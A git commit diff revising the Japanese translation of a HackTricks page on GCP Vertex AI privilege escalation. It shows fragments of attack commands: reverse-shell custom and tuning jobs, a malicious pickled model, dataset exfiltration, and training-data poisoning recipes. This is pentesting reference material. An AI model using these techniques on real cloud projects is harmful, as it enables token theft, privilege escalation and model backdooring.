mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -12,15 +12,15 @@ Vertex AI の詳細については次を参照してください:
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
`aiplatform.customJobs.create` 権限と対象のサービスアカウントに対する `iam.serviceAccounts.actAs` を持っていると、攻撃者は **昇格した権限で任意のコードを実行できます**。
|
||||
ターゲットのサービスアカウントに対して `aiplatform.customJobs.create` 権限と `iam.serviceAccounts.actAs` があると、攻撃者は特権昇格した状態で任意のコードを実行できます。
|
||||
|
||||
これは攻撃者が制御するコード(custom container または Python package)を実行するカスタムトレーニングジョブを作成することで成立します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、ジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth access token を抽出できます。
|
||||
これは、攻撃者が制御するコード(カスタムコンテナや Python パッケージ)を実行するカスタムトレーニングジョブを作成することで機能します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、そのジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth アクセストークンを抽出できます。
|
||||
|
||||
**影響**: 対象サービスアカウントの権限への完全な権限昇格。
|
||||
**Impact**: ターゲットのサービスアカウントの権限への完全な特権昇格。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell を使ったカスタムジョブの作成</summary>
|
||||
<summary>Create custom job with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>別案: ログからトークンを抽出</summary>
|
||||
<summary>代替案: logsからtokenを抽出</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> カスタムジョブは指定したサービスアカウントの権限で実行されます。ターゲットのサービスアカウントに対して `iam.serviceAccounts.actAs` 権限があることを確認してください。
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
この手法は、モデルを Vertex AI にアップロードし、そのモデルをエンドポイントのデプロイまたはバッチ予測ジョブを介して利用して、昇格した権限でコードを実行することで権限昇格を達成します。
|
||||
この手法は、モデルを Vertex AI にアップロードし、そのモデルをエンドポイントのデプロイやバッチ予測ジョブを通じて昇格した権限でコードを実行させることで権限昇格を達成します。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を実行するには、モデルアーティファクトをアップロードするための誰でも読み取り可能な GCS バケットが必要か、または新しく作成する必要があります。
|
||||
> この攻撃を実行するには、モデルアーティファクトをアップロードするために、すべてのユーザーが読み取り可能(world readable)な GCS バケットを持っているか、新しく作成する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>リバースシェルを含む悪意のある pickled モデルをアップロード</summary>
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -113,7 +111,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>コンテナのリバースシェルでモデルをアップロード</summary>
|
||||
<summary>コンテナのリバースシェルを含むモデルをアップロード</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -145,11 +143,11 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> 悪意のあるモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、エンドポイントへのデプロイやバッチ予測ジョブを介して自身でモデルを起動することができます。
|
||||
> マルウェア化したモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、エンドポイントへのデプロイやバッチ予測ジョブを通じて自分でモデルを起動することができます。
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
エンドポイントにモデルを作成・デプロイする権限、またはエンドポイントのIAMポリシーを変更する権限がある場合、プロジェクトにアップロードされた悪意のあるモデルを利用して権限昇格を達成できます。エンドポイント経由で既にアップロードされた悪意のあるモデルのいずれかをトリガーするために必要なのは、次の操作だけです:
|
||||
エンドポイントにモデルを作成・デプロイする権限、またはエンドポイントの IAM ポリシーを変更する権限があれば、プロジェクトにアップロードされた悪意のあるモデルを利用して privilege escalation を達成できます。エンドポイント経由で既にアップロードされている悪意のあるモデルをトリガーするために必要なのは、次の操作だけです:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -174,16 +172,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
もしサービスアカウントを使って**バッチ予測ジョブ**を作成して実行する権限がある場合、メタデータサービスにアクセスできます。悪意のあるコードはバッチ予測処理中に**カスタム予測コンテナ**または**悪意あるモデル**から実行されます。
|
||||
サービスアカウントで実行するための**batch prediction jobs**を作成する権限があれば、metadata serviceにアクセスできます。悪意のあるコードは、batch predictionの処理中に**custom prediction container**や**malicious model**から実行されます。
|
||||
|
||||
**Note**: バッチ予測ジョブは REST API または Python SDK 経由でのみ作成可能です(gcloud CLI はサポートされていません)。
|
||||
**Note**: Batch prediction jobsはREST APIまたはPython SDK経由でのみ作成可能です(gcloud CLIはサポートされていません)。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を行うには、まず悪意のあるモデルをアップロードする(上記の `aiplatform.models.upload` セクション参照)か、reverse shell コードを含むカスタム予測コンテナを使用する必要があります。
|
||||
> この攻撃を行うには、まずmalicious modelをアップロードする(上記の`aiplatform.models.upload`セクション参照)か、reverse shellコードを組み込んだcustom prediction containerを使用する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>悪意あるモデルでバッチ予測ジョブを作成する</summary>
|
||||
<summary>Create batch prediction job with malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -239,10 +237,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
もし **models.export** 権限を持っている場合、管理している GCS バケットへモデルアーティファクトをエクスポートでき、トレーニングデータやモデルファイルなどの機密情報にアクセスできる可能性があります。
|
||||
もし **models.export** 権限を持っていれば、モデルのアーティファクトを自分が管理する GCS バケットにエクスポートでき、機密性の高いトレーニングデータやモデルファイルにアクセスできる可能性があります。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を実行するには、全員が読み取りおよび書き込み可能な GCS バケットが必要か、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。
|
||||
> この攻撃を実行するには、公開(全員が読み書き可能)な GCS バケットを持っているか、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -273,16 +271,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
任意のコンテナで複数のステップを実行する**ML pipeline jobs**を作成し、reverse shellアクセスを介して権限昇格を達成します。
|
||||
任意のコンテナで複数のステップを実行する**ML pipeline jobs**を作成し、reverse shellを用いてprivilege escalationを達成します。
|
||||
|
||||
パイプラインは、各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、権限昇格に特に有効です。
|
||||
Pipelinesは、各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、privilege escalationに特に強力です。
|
||||
|
||||
> [!NOTE]
|
||||
> パイプラインのルートとして使用するには、全員が書き込み可能なGCSバケットが必要です。
|
||||
> パイプラインのルートとして使用するには、world writable な GCS バケットが必要です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vertex AI SDKをインストール</summary>
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -385,15 +383,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
カスタムトレーニングコンテナを介して昇格した権限で任意のコードを実行する **hyperparameter tuning jobs** を作成します。
|
||||
カスタム training containers を通じて昇格した権限で任意のコードを実行する **hyperparameter tuning jobs** を作成します。
|
||||
|
||||
Hyperparameter tuning jobs は、異なるハイパーパラメータ値で複数のトレーニング試行を並列に実行することを可能にします。悪意のあるコンテナに reverse shell や exfiltration コマンドを仕込み、それを特権を持つサービスアカウントに紐付けることで、権限昇格を達成できます。
|
||||
Hyperparameter tuning jobs は、異なるハイパーパラメータ値ごとに複数のトレーニング試行を並行して実行できます。悪意のあるコンテナに reverse shell や exfiltration コマンドを仕込み、privileged service account に関連付けることで、privilege escalation を達成できます。
|
||||
|
||||
**Impact**: 対象のサービスアカウントの権限への完全な権限昇格。
|
||||
**Impact**: ターゲット service account の権限への Full privilege escalation。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell を使った hyperparameter tuning job の作成</summary>
|
||||
<summary>reverse shell を仕込んだ hyperparameter tuning job を作成する</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -434,15 +432,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
機密情報を含む可能性のあるトレーニングデータをexfiltrateするために、**データセット**をエクスポートします。
|
||||
トレーニングデータ(機微な情報を含む可能性がある)をexfiltrateするために**データセット**をエクスポートします。
|
||||
|
||||
**注意**: データセット操作はREST APIまたはPython SDKが必要です(データセットはgcloud CLIでサポートされていません)。
|
||||
**Note**: データセット操作はREST APIまたはPython SDKが必要です(データセットに対するgcloud CLIのサポートはありません)。
|
||||
|
||||
データセットには、PII、機密業務データ、または本番モデルの学習に使用されたその他の機微な情報を含む元のトレーニングデータが含まれていることがよくあります。
|
||||
データセットには元のトレーニングデータが含まれていることが多く、PII、機密業務データ、または本番モデルの学習に使用されたその他の機微な情報が含まれている可能性があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トレーニングデータをexfiltrateするためにデータセットをエクスポート</summary>
|
||||
<summary>データセットをエクスポートしてトレーニングデータをexfiltrateする</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -491,25 +489,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
既存のデータセットに悪意あるまたは汚染されたデータをインポートして、**モデルのトレーニングを操作しバックドアを導入する**。
|
||||
既存のデータセットに悪意あるまたは poisoned なデータをインポートして、**モデルのトレーニングを操作し backdoors を導入する**。
|
||||
|
||||
**注意**: データセット操作にはREST APIまたはPython SDKが必要です(データセットはgcloud CLIでサポートされていません)。
|
||||
**注意**: データセット操作には REST API または Python SDK が必要です(datasets に対する gcloud CLI のサポートはありません)。
|
||||
|
||||
トレーニングに使用されるデータセットに細工されたデータをインポートすることで、攻撃者は以下を行えます:
|
||||
- モデルにバックドアを導入する(トリガーによる誤分類)
|
||||
- トレーニングデータを汚染してモデル性能を低下させる
|
||||
- モデルが情報を leak する原因となるデータを注入する
|
||||
- 特定の入力に対するモデルの挙動を操作する
|
||||
ML モデルの学習に使われるデータセットに細工したデータをインポートすることで、攻撃者は以下を実行できます:
|
||||
- モデルに backdoors を導入する(trigger-based misclassification)
|
||||
- トレーニングデータを poison してモデル性能を低下させる
|
||||
- モデルから情報を leak させるようにデータを注入する
|
||||
- 特定の入力に対してモデルの挙動を操作する
|
||||
|
||||
この攻撃は以下の用途で使われるデータセットを狙うと特に効果的です:
|
||||
この攻撃は特に、以下の用途で使われるデータセットを狙う場合に効果的です:
|
||||
- 画像分類(誤ラベルの画像を注入)
|
||||
- テキスト分類(偏ったまたは悪意あるテキストを注入)
|
||||
- 物体検出(バウンディングボックスを操作)
|
||||
- 推薦システム(偽の嗜好を注入)
|
||||
- 物体検出(bounding boxes を操作)
|
||||
- レコメンデーションシステム(偽の嗜好を注入)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データセットに汚染されたデータをインポートする</summary>
|
||||
<summary>データセットに poisoned なデータをインポートする</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -570,7 +568,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
<summary>バックドア攻撃 - 画像分類</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -583,7 +581,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
<summary>ラベル反転攻撃</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
@@ -597,7 +595,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
<summary>Data poisoningによる model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -611,7 +609,7 @@ EOF
|
||||
|
||||
<details>
|
||||
|
||||
<summary>特定のエンティティを対象にした標的型攻撃</summary>
|
||||
<summary>特定のエンティティを対象とした標的型攻撃</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
@@ -624,38 +622,38 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks は深刻な結果を招く可能性があります:
|
||||
> - **Security systems**: 顔認識や異常検知を回避する
|
||||
> - **Fraud detection**: 特定の不正パターンを無視するようにモデルをトレーニングする
|
||||
> - **Content moderation**: 有害なコンテンツが安全と分類されるようにする
|
||||
> データポイズニング攻撃は深刻な影響を及ぼす可能性があります:
|
||||
> - **Security systems**: 顔認識や異常検知の回避
|
||||
> - **Fraud detection**: 特定の不正パターンを無視するようにモデルを学習させる
|
||||
> - **Content moderation**: 有害なコンテンツを安全と分類させる
|
||||
> - **Medical AI**: 重大な健康状態を誤分類させる
|
||||
> - **Autonomous systems**: 安全に関わる判断のための物体検出を操作する
|
||||
> - **Autonomous systems**: 安全性に関わる判断のための物体検出を操作する
|
||||
>
|
||||
> **影響**:
|
||||
> **Impact**:
|
||||
> - 特定のトリガーで誤分類するバックドア入りモデル
|
||||
> - モデルの性能と精度の低下
|
||||
> - 特定の入力に対して差別的なバイアスを持つモデル
|
||||
> - モデルの挙動を通じた情報 leak
|
||||
> - 長期的な持続性(汚染されたデータで訓練されたモデルはバックドアを継承する)
|
||||
> - 特定の入力に対して差別的なバイアスのあるモデル
|
||||
> - モデルの挙動を通じた情報漏洩
|
||||
> - 長期的な持続性(汚染されたデータで学習したモデルはバックドアを継承する)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API は Vertex AI Workbench Managed Notebooks の廃止に伴い非推奨です。現代的な方法は、ノートブックを `aiplatform.customJobs.create` 経由で実行する **Vertex AI Workbench Executor** を使用することです(上で既に文書化されています)。
|
||||
> Vertex AI Workbench Executor は、指定したサービスアカウントで Vertex AI のカスタムトレーニングインフラ上で実行されるノートブック実行のスケジューリングを可能にします。これは本質的に `customJobs.create` の便宜的なラッパーです。
|
||||
> **ノートブック経由の権限昇格の場合**: 上で文書化した `aiplatform.customJobs.create` メソッドを使用してください。これはより高速で信頼性が高く、Workbench Executor と同じ基盤インフラを使用します。
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
|
||||
> The Vertex AI Workbench Executor allows scheduling notebook runs that execute on Vertex AI custom training infrastructure with a specified service account. This is essentially a convenience wrapper around `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
|
||||
**以下の手法は歴史的文脈のために提供されており、新しい評価での使用は推奨されません。**
|
||||
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
|
||||
|
||||
任意のコードを実行する Jupyter ノートブックを実行するノートブック実行ジョブを作成します。
|
||||
任意のコードを実行するJupyter notebooksを実行する**notebook execution jobs**を作成します。
|
||||
|
||||
ノートブックジョブは、Python のコードセルやシェルコマンドをサポートするため、サービスアカウントでのインタラクティブなコード実行に最適です。
|
||||
Notebookジョブは、サービスアカウントによる対話的なコード実行に最適で、Pythonコードセルやシェルコマンドをサポートします。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>悪意のあるノートブックファイルを作成する</summary>
|
||||
<summary>悪意のあるノートブックファイルを作成</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
@@ -682,7 +680,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ターゲットのサービスアカウントでノートブックを実行する</summary>
|
||||
<summary>ターゲットサービスアカウントでノートブックを実行</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
Reference in New Issue
Block a user